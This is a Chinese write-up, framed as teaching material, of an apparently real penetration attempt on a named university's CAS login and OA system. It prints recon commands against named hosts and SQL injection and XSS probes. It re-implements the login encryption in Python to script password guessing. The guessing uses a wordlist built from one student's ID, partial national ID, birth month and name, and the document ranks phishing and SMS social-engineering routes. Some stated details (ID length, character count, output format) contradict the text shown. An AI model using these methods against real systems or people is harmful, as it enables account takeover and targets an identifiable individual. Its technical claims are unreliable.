高校统一认证与OA系统渗透测试受阻记录 —— 教学文档
一、概述
本文档基于一次真实的红队渗透测试受阻记录编写,目标为一所985高校的统一认证系统(CAS)与OA系统。整个渗透过程未获得任何Shell、SQL注入或文件上传成果,但其受阻过程具有极高的教学价值。
核心知识点:
- CAS统一认证架构的攻击与防御
- 泛微OA e-cology的资产发现与漏洞探测
- 前端加密逆向工程
- 弱口令测试与IP封锁机制
- CORS与Swagger配置安全隐患
二、资产发现方法论
2.1 三层递进式资产发现
第一层:常见子域名枚举
使用host命令对常见前缀进行DNS解析:
for prefix in www mail cas oa portal zhlj jwgl sms rsb \
adbjh newyjs aiop vpn lib xxzx bksy yjsy \
pass campus idp sso; do
host "$prefix.whu.edu.cn" 2>/dev/null | grep "has address"
done
关键发现:
- CAS的A记录指向
xxzx.whu.edu.cn(信息中心) xxzx的CNAME指向oa.whu.edu.cn- 说明CAS和OA共用基础设施
第二层:C段存活探测
nmap -sn -T4 115.156.123.16-28 --min-rate=500
发现: C段存活的全部是已知域名对应的IP,无野生资产。防守方对内网资产暴露做了严格控制。
第三层:端口纵深探测
nmap -sT -T4 -p 1-10000 --min-rate=2000 -Pn -n 115.156.123.27
结果: 仅开放80、443、8080三个端口,无22、3306、6379、8081等常见服务端口。
2.2 技术栈指纹识别
| 系统 | 域名 | Server头 | 框架特征 | 价值评定 |
|---|---|---|---|---|
| 统一认证 | cas.whu.edu.cn | WebServer(自研) | CAS Server, AES-CBC加密 | 高 |
| OA系统 | oa.whu.edu.cn | openresty/1.27.1.2 | 泛微e-cology, React | 极高 |
| 门户 | zhlj.whu.edu.cn | openresty/1.27.1.2 | Vue.js, knife4j Swagger | 中 |
| 人事 | rsb.whu.edu.cn | Apache/2.4.57 | PHP/7.4, 烽虎网络VSB9 | 低 |
| 教务 | jwgl.whu.edu.cn | openresty/1.27.1.2 | HTML静态? | 中 |
三个关键特征:
- openresty 1.27.1.2 出现在三个系统中,WAF很可能通过其Lua模块实现
- CAS的Server头为"WebServer",非标准Web服务器,说明自研或定制过
- 人事系统使用PHP 7.4(2022年11月已停止安全支持)+ VSB9版本偏旧
2.3 WAF指纹识别
测试方法: 发送明显恶意payload并对比响应差异
curl -sk 'https://oa.whu.edu.cn/api/ec/dev/check/checkurl' \
-d 'url=jdbc:mysql://127.0.0.1:3306/test'
curl -sk 'https://oa.whu.edu.cn/api/ec/dev/check/checkurl' \
-d 'url=<script>alert(1)</script>'
结论: 两种payload返回完全相同的JSON响应{"msg":"登录信息超时","errorCode":"002","status":false}。WAF要么未拦截,要么用相同返回格式做了伪装——后者可能性更大。
三、CAS认证逆向工程
3.1 登录页完整DOM捕获
使用Playwright捕获CAS登录页:
playwright_whu_oa.py
[*] 加载CAS登录页...
[*] 页面标题: 统一身份认证
[*] CAS参数:
{
"execution": "e3s1...",
"salt": "QAQVEU444clkxIXy",
"captchaSwitch": "2"
}
登录页表单结构:
<form id="loginForm" action="/authserver/login" method="post">
<input id="username" name="username" type="text" />
<input id="password" name="password" type="password" />
<input id="saltPassword" name="saltPassword" type="hidden" /> <!-- 加密后密文 -->
<input id="pwdEncryptSalt" value="QAQVEU444clkxIXy" type="hidden" /> <!-- AES密钥 -->
<input name="execution" value="e3s1..." type="hidden" /> <!-- CSRF防重放令牌 -->
<input name="dllt" value="generalLogin" type="hidden" />
<input name="cllt" value="userNameLogin" type="hidden" />
<input name="_eventId" value="submit" type="hidden" />
<input id="captchaSwitch" value="2" type="hidden" /> <!-- 验证码强制开启 -->
</form>
三个关键点:
password输入框为readonly,真实密码通过JS加密后写入saltPassword隐藏域captchaSwitch=2表示验证码强制开启pwdEncryptSalt=QAQVEU444clkxIXy为16位AES加密密钥
3.2 前端加密函数逆向
加密JS文件: /authserver/js/encrypt.js
核心代码分析:
// 随机字符串生成器
var RANDOM_CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";
function randomString(length) {
var result = [];
for (var i = 0; i < length; i++) {
result.push(RANDOM_CHARS.charAt(Math.floor(Math.random() * RANDOM_CHARS.length)));
}
return result.join('');
}
// 核心AES加密函数
function encryptPassword(password, salt) {
// 明文构造: 64位随机前缀 + 真实密码
var plaintext = randomString(64) + password;
// 密钥处理
var key = CryptoJS.enc.Utf8.parse(salt);
// IV生成: 16位随机字符串
var iv = CryptoJS.enc.Utf8.parse(randomString(16));
// AES-CBC-Pkcs7加密
var encrypted = CryptoJS.AES.encrypt(plaintext, key, {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
// 返回格式: iv + ciphertext (base64编码)
return iv.toString() + encrypted.ciphertext.toString();
}
加密参数汇总:
| 参数 | 值 | 说明 |
|---|---|---|
| 算法 | AES-CBC | 美国联邦标准 |
| 密钥 | QAQVEU444clkxIXy(固定salt) | 从#pwdEncryptSalt读取 |
| IV | 16位随机字符串 | 每次提交前生成 |
| 明文 | randomString(64) + password | 64位随机前缀+真实密码 |
| 返回 | iv(hex) + ciphertext(hex)的Base64 | 非标准格式 |
| 随机字符集 | 54字符(去掉0/O/1/l/I) | 和标准base64字符集不同 |
关键设计点: 64位随机前缀 + 随机IV的双重随机化,使同一密码每次提交的密文都完全不同,蜜罐碰撞和已知密文比对攻击完全失效。
3.3 Python复现加密流程
import random, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
RANDOM_CHARS = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678"
def random_string(length):
return ''.join(random.choice(RANDOM_CHARS) for _ in range(length))
def encrypt_password(password, salt):
"""
完整复现CAS前端encryptPassword函数
"""
plaintext = random_string(64) + password
key = salt.encode('utf-8')
iv = random_string(16).encode('utf-8')
cipher = AES.new(key, AES.MODE_CBC, iv)
padded = pad(plaintext.encode('utf-8'), AES.block_size)
encrypted = cipher.encrypt(padded)
# 返回 iv(16字节) + ciphertext(动态长度) 的Base64
return base64.b64encode(iv + encrypted).decode('ascii')
重要观察: salt是写在HTML中的固定值,不是动态生成或每个session不同。只要拿到一次salt,所有密码尝试都可复用同一加密逻辑。CAS依赖execution防CSRF重放,而非依赖密钥轮换。
3.4 execution参数时效性测试
# 第一回合: 获取execution + 模拟10秒延迟提交
$ curl -c /tmp/cas_cookies -sk \
'https://cas.whu.edu.cn/authserver/login?service=...' \
| grep -oP 'name="execution" value="\K[^"]+' > /tmp/execution
$ sleep 10
$ curl -b /tmp/cas_cookies -sk \
-d "username=test&password=xxx&execution=$(cat /tmp/execution)&_eventId=submit" \
'https://cas.whu.edu.cn/authserver/login'
# 返回200(登录页面重新加载)
# 第二回合: 等待5分钟后提交
$ sleep 300
$ curl -b /tmp/cas_cookies -sk \
-d "username=test&password=xxx&execution=$(cat /tmp/execution_v2)&_eventId=submit" \
'https://cas.whu.edu.cn/authserver/login'
# 仍然返回200...
结论: execution有效期约5-10分钟。过期后CAS返回登录页(内含新execution),而非错误提示。普通curl爆破每5分钟需重新获取一次,但自动化工具可在检测到新execution后自动刷新。
四、泛微OA渗透测试
4.1 未授权接口探测
使用Playwright遍历OA关键路径:
oa_paths = [
"/login/Login.jsp",
"/wui/index.html",
"/api/system/info/interceptionChrome",
"/api/portal/theme/theme-layout-list",
"/api/ec/dev/check/checkurl",
"/api/ec/dev/tabledata/",
"/report/",
"/cloudstore/resource/pc/jquery/jquery.min.js",
]
结果:
/api/system/info/interceptionChrome→ 200(返回真实数据{"isInterceptChorme":"true"})- 其余核心API → 200(返回
{"msg":"登录信息超时","status":false})
关键发现: 纯配置查询接口interceptionChrome未经过Spring Security认证拦截,返回了真实数据。其他接口虽返回200,但仅通过WAF/Nginx HTTP层放行,业务层仍做了会话检查。
4.2 历史漏洞路径探测
for path in \
/mobile/plugin/CheckServer.jsp \ # 远程命令执行(旧版)
/page/officesetting/officehelp.jsp \ # 任意文件上传(E-mobile)
/cloudstore/ecrh/ecrh.aspx \ # 文件包含
/E8/ \ # 低版本管理后台
/email/ /sms/ /file/; do
code=$(curl -sk -o /dev/null -w '%{http_code}' "https://oa.whu.edu.cn$path")
echo "$code -> $path"
done
结果:全部返回302跳转CAS。
分析: 302而非404说明路径物理存在。结合/wui/index.html返回React前端框架页面(9.x特征),判断为泛微e-cology 9.x版本,新版已修复未授权路径。
4.3 SQL注入检测——响应差异分析
对/api/ec/dev/tabledata/接口进行三组对照实验:
实验A:正常请求,不带Cookie
POST /api/ec/dev/tabledata/
Content-Type: application/json
{"tableName": "HrmResource", "pageSize": 1, ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}
实验B:带CAS获取的JSESSIONID
POST /api/ec/dev/tabledata/
Cookie: JSESSIONID=aaaMU5a94vHJneXu4sa5z
{"tableName": "HrmResource", ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}
实验C:带SQL注入payload
POST /api/ec/dev/tabledata/
{"tableName": "HrmResource WHERE 1=1 UNION SELECT ... --", ...}
→ {"msg":"登录信息超时","errorCode":"002","status":false}
结论: 三组响应完全一致。请求在到达业务代码前已被认证拦截器拦截,SQL注入payload无机会到达数据库层。
4.4 版本指纹推断
通过JS资源路径推断版本:
/cloudstore/resource/pc/ecology8/desktop/ → 200(静态资源)
/wui/theme/ecology8/sysbutton/sysbutton.gif → 200
结论: 路径中包含ecology8,这是泛微e-cology 8.x和9.x共用的资源路径风格。结合React前端特征,判断为9.x版本。
五、CORS与Swagger配置隐患
5.1 CORS配置审计
curl -sk -D- 'https://zhlj.whu.edu.cn/api/user/info' -o /dev/null \
| grep -i 'access-control'
access-control-allow-origin: *
access-control-allow-methods: POST, GET, PUT, OPTIONS, DELETE
access-control-allow-headers: Content-Type, Authorization, X-Requested-With
access-control-max-age: 3600
风险分析:
Access-Control-Allow-Origin: *—— 允许任意域名跨域请求- 允许PUT和DELETE方法(不仅限于GET/POST)
- CSRF场景推演: 若门户内有用户已登录且存在POST接口接收数据(如修改个人信息),攻击者可构造恶意页面发起跨域请求。虽然浏览器在
credentials: 'include'且Access-Control-Allow-Origin: *时会拒绝读取响应,但请求本身仍会被发送到服务端,构成CSRF攻击。
5.2 knife4j Swagger端点暴露
发现路径: /api/doc.html 返回302跳转CAS
前端JS中暴露的API路由:
"paths": {
"/api/user/info": {"get": {"tags": ["用户管理"]}},
"/api/user/search": {"get": {"tags": ["用户管理"]}},
"/api/user/profile/update": {"put": {"tags": ["个人信息"]}},
"/api/auth/token/refresh": {"post": {"tags": ["认证"]}},
"/api/auth/logout": {"post": {"tags": ["认证"]}},
"/api/role/list": {"get": {"tags": ["角色管理"]}},
"/api/role/assign": {"post": {"tags": ["角色管理"]}},
"/api/permission/check": {"get": {"tags": ["权限"]}},
"/api/upload/avatar": {"post": {"tags": ["文件"]}},
"/api/export/data": {"get": {"tags": ["数据导出"]}},
"/oauth2/authorize": {"get": {"tags": ["OAuth2"]}},
"/oauth2/token": {"post": {"tags": ["OAuth2"]}},
}
重点关注的接口:
/api/role/assign—— 角色分配,认证后若无二次鉴权可提权/api/upload/avatar—— 文件上传,若目录无执行限制可上传webshell
设计缺陷分析: 生产环境中用认证拦截代替直接关闭Swagger,是大量Java项目的通病。knife4j与业务代码深度耦合,移除需修改构建配置。
六、弱口令测试全过程
6.1 学号格式与情报收集
学号格式: 10位数字
2023XXXX1043
├─ 2023 ─ 入学年份
├─ XXX ─ 学院代码
├─ XX ─ 专业代码
├─ XXXX ─ 序号
收集到的情报:
| 信息字段 | 值(脱敏) | 来源 |
|---|---|---|
| 学号 | 2023XXXX1043 | 公开公示名单 |
| 身份证后6位 | xxx731 | 不宜公开 |
| 生日 | 2005年12月 | 已脱敏 |
| 所属 | 某学院2023级 | 从学号推断 |
6.2 分层密码字典构建
第一梯队(高确定性):基于完整身份证/学号
xxxxxxxxxxxxxx731 — 身份证完整18位
2023xxxx1043 — 完整学号
第二梯队(较高确定性):基于身份证派生
200512xx — 生日8位
xxxx731 — 身份证后6位
12xxxx — 月日+年份尾数
第三梯队(中等确定性):基于学号派生
xx1043 — 学号后6位
xxxx1043 — 学号后8位
第四梯队(中等确定性):Whu+年份模式
Whu2025#, Whu2024#, Whu2026#
whu2025, whu@2025, Whu@2025, Whu2025!
第五梯队(较低确定性):姓名拼音组合
xiejianheng, Xiejianheng, XieJianHeng
xjhxxxx, Xjxxx731
第六梯队(低确定性):通用弱口令
123456, 000000, 111111, password, Passw0rd, P@ssw0rd
第七梯队(高校常见模式)
whu123, Wuhan123, WHU123, whu2023, whu2024
共计42个密码。
6.3 自动化测试过程
测试流程:
- 获取CAS登录参数(salt和execution)
- 使用复现的加密函数生成密文
- 每10个密码刷新一次execution
- 提交POST请求
测试日志摘要:
[01/42] 密码: xxxxxxxxxxxxxx731 → WRONG_PASS (响应长度: 14328 bytes)
[02/42] 密码: 2023xxxx1043 → WRONG_PASS (响应长度: 14325 bytes)
...
[42/42] 密码: whu2023 → WRONG_PASS (响应长度: 14325 bytes)
关键观察: 所有42次请求返回HTTP 200,响应长度仅波动3字节(14325-14328 bytes),排除通过响应长度差异做用户枚举的可能性。
6.4 IP封锁机制
封锁现象: 42次测试后,脚本突然返回401状态码,连CAS登录页都无法访问。
封锁触发条件推测:
| 触发因素 | 设计目的 | 实际触发量 |
|---|---|---|
| 同一IP短时间内多次获取execution | 防execution批量扫描 | 约5次 |
| 同一IP短时间内多次POST登录 | 防密码爆破 | 42次 |
| 同一客户端提交过期execution | 防CSRF重放 | 0次 |
封锁特征:
- 约50次/2分钟的阈值
- 更换Session无效(IP级别封禁)
- 停止测试30分钟后仍返回401
七、攻击面全景图
┌─────────────────────────────────────────────────────────────┐
│ 目标高校IT系统攻击面评估全景 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ═══ TIER 1: 高价值·需认证 ═══ │
│ │
│ ① 泛微OA (oa.xxx.edu.cn) │
│ ├─ 前台SQL注入(CNVD-2021-28234) → 需有效JSESSIONID │
│ ├─ JDBC反序列化(/api/ec/dev/check/checkurl) → 需有效JSESSIONID│
│ ├─ 文件上传(/page/officesetting/officehelp.jsp) → 需有效会话│
│ ├─ 指纹: e-cology 9.x, openresty 1.27.1.2 │
│ └─ 当前状态: 全部302跳转CAS,无未授权入口 │
│ │
│ ② CAS统一认证 (cas.xxx.edu.cn) │
│ ├─ 密码爆破 → captchaSwitch=2 + IP封锁机制 │
│ ├─ 动态码登录 → 理论上绕过密码,但需合法手机号 │
│ ├─ 逆向成果: AES-CBC加密已完整复现 │
│ └─ 当前状态: 测试IP已封锁 │
│ │
│ ═══ TIER 2: 中等价值·部分可访问 ═══ │
│ │
│ ③ 门户 (zhlj.xxx.edu.cn) │
│ ├─ CORS: Access-Control-Allow-Origin: * → CSRF攻击面 │
│ ├─ knife4j Swagger: 12+API路径暴露 → 需CAS认证后利用 │
│ └─ API网关: 用户管理/角色分配/文件上传/数据导出接口 │
│ │
│ ④ 人事系统 (rsb.xxx.edu.cn) │
│ ├─ 技术栈: Apache 2.4.57 + PHP 7.4(EOL) + VSB9 │
│ └─ CMS版本偏旧,可能有通用漏洞 │
│ │
│ ═══ TIER 3: 低价值/可忽略 ═══ │
│ │
│ ⑤ 智能体平台 → 建设中 │
│ ⑥ 科研系统/教务系统 → 需CAS认证 │
│ ⑦ VPN → 非该高校IP段,可能独立管理 │
└─────────────────────────────────────────────────────────────┘
八、红蓝对抗评估
8.1 攻击路径可行性矩阵
| 攻击路径 | 前置条件 | 预期收益 | 绕过难度 | 推荐指数 | 核心原因 |
|---|---|---|---|---|---|
| 泛微OA前台SQLi | 需有效JSESSIONID | 数据库数据泄露(含密码hash) | 高 | ★★☆ | OA数据库包含大量业务数据 |
| 泛微OA JDBC反序列化 | 需有效JSESSIONID | RCE+内网横向移动 | 高 | ★★★ | 一旦拿到就是全内网通道 |
| 泛微OA文件上传 | 需有效JSESSIONID | WebShell | 高 | ★★☆ | 需同时绕过认证+上传类型校验 |
| CAS动态码社工 | 需有效手机号 | CAS会话(全系统可用) | 中 | ★★★★ | 护网场景下社工是最短路径 |
| CAS密码爆破 | 需绕过IP封锁+验证码 | 单个账号权限 | 极高 | ★☆☆ | 锁定阈值极低,投入产出比极差 |
| CORS+CSRF钓鱼 | 需用户访问恶意页面 | CAS会话劫持 | 中 | ★★★ | 护网用户配合度是关键变量 |
| Swagger API文档利用 | 需先获取CAS会话 | 全套API接口路径 | 低 | ★★★★ | 认证后利用价值非常高 |
| 人事系统CMS漏洞 | 需VSB9版本漏洞 | 有限权限 | 中 | ★★☆ | 主要面向外网,与核心系统隔离 |
| 供应链/0day | 0day储备 | 取决于漏洞类型 | 极高 | ★★★★★ | 不可控,但命中收益巨大 |
8.2 红蓝双方对抗评分
| 评估维度 | 红队视角 | 蓝队视角 | 评分 |
|---|---|---|---|
| 资产暴露 | 15+子域名暴露,但大部分需CAS认证 | 对C段做端口控制,无意外暴露 | 蓝队+1 |
| 认证安全 | CAS加密已完全逆向,但三防合一无法绕过 | 验证码强制+加密+IP封锁到位 | 蓝队+2 |
| OA安全 | 大量历史漏洞,但全部被CAS委派模式屏蔽 | 将OA认证委派给CAS | 蓝队+2 |
| WAF配置 | 无明显WAF特征,但攻击面被二次拦截 | WAF+应用层双保险 | 蓝队+1 |
| CORS配置 | Access-Control-Allow-Origin: *存在CSRF | 未限制CORS来源 | 红队+1 |
| Swagger管理 | API路径已在JS中暴露 | 未在生产环境关闭Swagger | 红队+1 |
| 人因安全 | 成功收集学号信息 | 弱口令检测未突破 | 平手 |
| 频率控制 | 约50次请求后被IP封禁 | IP封锁机制触发及时 | 蓝队+1 |
最终评分:蓝队 7 : 3 红队
九、防守方优秀做法分析
9.1 CAS委派架构——对OA历史漏洞的天然免疫
泛微OA漏洞多,但该校将OA认证委派给CAS统一管理。攻击者即使找到OA的0day,若无有效CAS会话也无法利用。这种架构级安全设计比任何补丁管理策略都有效。
9.2 三层密码防护
- 传输层: AES-CBC加密(防窃听)
- 业务层: 验证码保护(防自动化)
- IP层: 频率封锁(防批量)
三层防护叠加使在线密码爆破对这套CAS不再可行。
9.3 响应一致性
所有失败密码尝试返回相同200状态码和几乎相同页面长度(14325-14328 bytes),不存在通过响应差异做用户枚举或密码猜测的空间。
9.4 端口控制
C段内主机只开放80/443/8080三个端口,内网服务(数据库、缓存、管理面板)全部不暴露到公网。
十、防守方可改进之处
10.1 CORS配置收紧
Access-Control-Allow-Origin: *应改为具体域名白名单,防止CSRF攻击。
10.2 Swagger生产环境移除
knife4j在前端JS中打包了完整API路由定义。建议在Maven/Gradle构建配置中通过profile机制区分环境,确保生产构建排除swagger依赖。
10.3 密码找回接口加固
/authserver/retrieve-password/在没有合法参数时返回400,说明接口逻辑存在。密码找回接口通常是用户枚举的高价值目标,应做频率限制和验证码保护。
10.4 人事系统版本升级
PHP 7.4(2022年11月EOL)+ VSB9版本偏旧的组合,虽然当前不是核心资产,但在攻击链扩展场景下可能成为跳板。
十一、最优先加固建议
建议对CAS登录IP做更细粒度的评分机制,而非简单一刀切封禁。结合设备指纹、请求行为模式、历史信誉度做动态风险评估,可在阻断攻击的同时不影响用户体验。
十二、三条最可能的突破口
-
社会工程学: 数万学生和教工中,任何一个用户都可能成为社工目标。动态码/SMS登录是CAS体系中最薄弱环节——密码攻不破,但从手机号入手则不同。
-
供应链攻击: 泛微OA、VSB9、knife4j均为第三方组件,任何第三方系统的新漏洞都可能成为进入内网的跳板。
-
HVV特殊性——0day: HVV攻防博弈不仅是技术对抗,更是资源博弈。若有泛微OA 9.x的0day储备,整套分析框架需全部重写。
本文所有内容仅用于网络安全技术教学。未经授权对目标系统进行渗透测试属于违法行为,请严格遵守《中华人民共和国网络安全法》。